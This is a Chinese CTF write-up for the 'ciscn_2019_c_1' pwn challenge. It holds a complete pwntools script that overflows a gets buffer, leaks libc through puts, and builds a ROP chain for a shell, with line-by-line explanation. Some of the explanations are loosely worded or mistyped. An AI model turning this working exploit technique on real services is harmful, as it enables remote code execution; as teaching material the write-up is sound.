ciscn_2019_c_1

代码很简单,gets 一个东西,然后给你加密一下。gets 没保护,可以栈溢出,但是木有自带后门,需要自己找门。

首先解决一下加密函数破坏 payload 的问题,这个需要脑洞。由于加密函数使用 strlen 获得字符串长度,所以 payload 第一个字符直接 \x00 就可以阻止加密函数进行。

接下来的做法直接看 exp 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
from LibcSearcher import *

r = remote('node3.buuoj.cn', 25878)
ru = lambda x:r.recvuntil(x)
rl = lambda :r.recvline()
sla = lambda x, y:r.sendlineafter(x,y)

# context.log_level = "debug"

elf = ELF('ciscn_2019_c_1')
libc = ELF('libc-2.27.so')

main = 0x400B28
ret = 0x4006b9
# ret = 0x400AEE \x0a is \n !

pop_rdi_ret = 0x400C83
one_gadget = 0x10a38c
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

p1 = b'\0' + b'a' * 87 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)

sla('choice!\n', '1')
sla('encrypted\n', p1)

rl()
rl()

puts = u64(ru('\n')[:-1].ljust(8, b'\0'))

shell = one_gadget - libc.symbols['puts'] + puts

p2 = b'\0' + b'a' * 87 + p64(ret) + p64(ret) + p64(ret) + p64(shell)

# libc = LibcSearcher('puts', puts)

# libc_addr = puts - libc.dump('puts')
# binsh = libc_addr + libc.dump('str_bin_sh')
# system = libc_addr + libc.dump('system')

# p2 = b'\0' + b'a' * 87 + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)

sla('choice!\n', '1')
sla('encrypted\n', p2)

r.interactive()

第 5-7 行是三个简化输入输出的函数,后面代码用的时候要能看懂。

第 14 行到第 21 行获取了一些指令的地址。

第 15 行的 ret 地址可以是任意 ret ,但是不能使用 encrypt 函数的 ret 地址 0x400AEE, 因为 \x0a 会被 gets 是为 \n 直接终止输入。

企鹅:“这也是常见问题,不同读入方式构造 exp 的时候需要留意一些特殊值。”

第 18 行的地址是连续的 pop rdi 和 ret ,但是去 ida 会发现没有 pop rdi 啊?0x400C82 是 pop r15 而 0x400C84 是 ret 。事实上 pop rdi 藏在 pop r15 里。pop r15 的机器码是 415f 而 pop rdi 是5f ,因此从 0x400C83 开始就是 pop rdi; ret; 。这个地址很常用,似乎多数 x64 的程序都有。

第 20 行是用 one_gadget 获取的 libc 里 system(’/bin/bash’) 的地址,20 和 21 行是从 ELF 里获取的 puts 函数在 got 表和 plt 表的地址。

接下来是一个 ret2libc 的过程。这个过程要 ret 两次,第一次获取 libc 的偏移量,第二次再 getshell 。

第 23 行的 payload 使得程序首先跳转到 pop rdi; ret; 的位置,然后把 puts 在 got 表中的地址 pop 的到 rdi 上,再 ret 到 puts 在 plt 表中的地址。在 plt 表中,puts 的值是 puts 的真实地址,因此这里会执行 puts 函数,而 puts 以 rdi 为参数,这样就可以输出 got 表中 puts 的值。

第 33 行利用 puts 在 libc 里的地址、system(’/bin/bash’) 在 libc 里的地址以及 pot 表中 puts 的值,就可以计算得到 system(’/bin/bash’) 在 pot 表中的值,ret 到这个值表示的地址就可以执行 shell 。

plt 表,pot 表,还有真实地址,这些是什么关系?

这是动态链接的知识,似乎比较复杂,慢慢学吧 =。=

由于服务跑在 ubuntu 18 上,还要多试几个原地 ret 的数量,让栈对齐才可以正常运行。此外 exp 会有一定概率挂,要多试几次。

企鹅:“确实会有玄学出现,所以稳定化 exp 利用也是一个难点。”

第 39 行到第 43 行是另一种写法,是把 system 和’/bin/bash’ 分开处理的。

上面的过程本质上是通过多个 ret 组成的链,把几个不相关的代码连接到一起,从而实现操纵寄存器、调用指定函数等操作。这,就是 ROP 。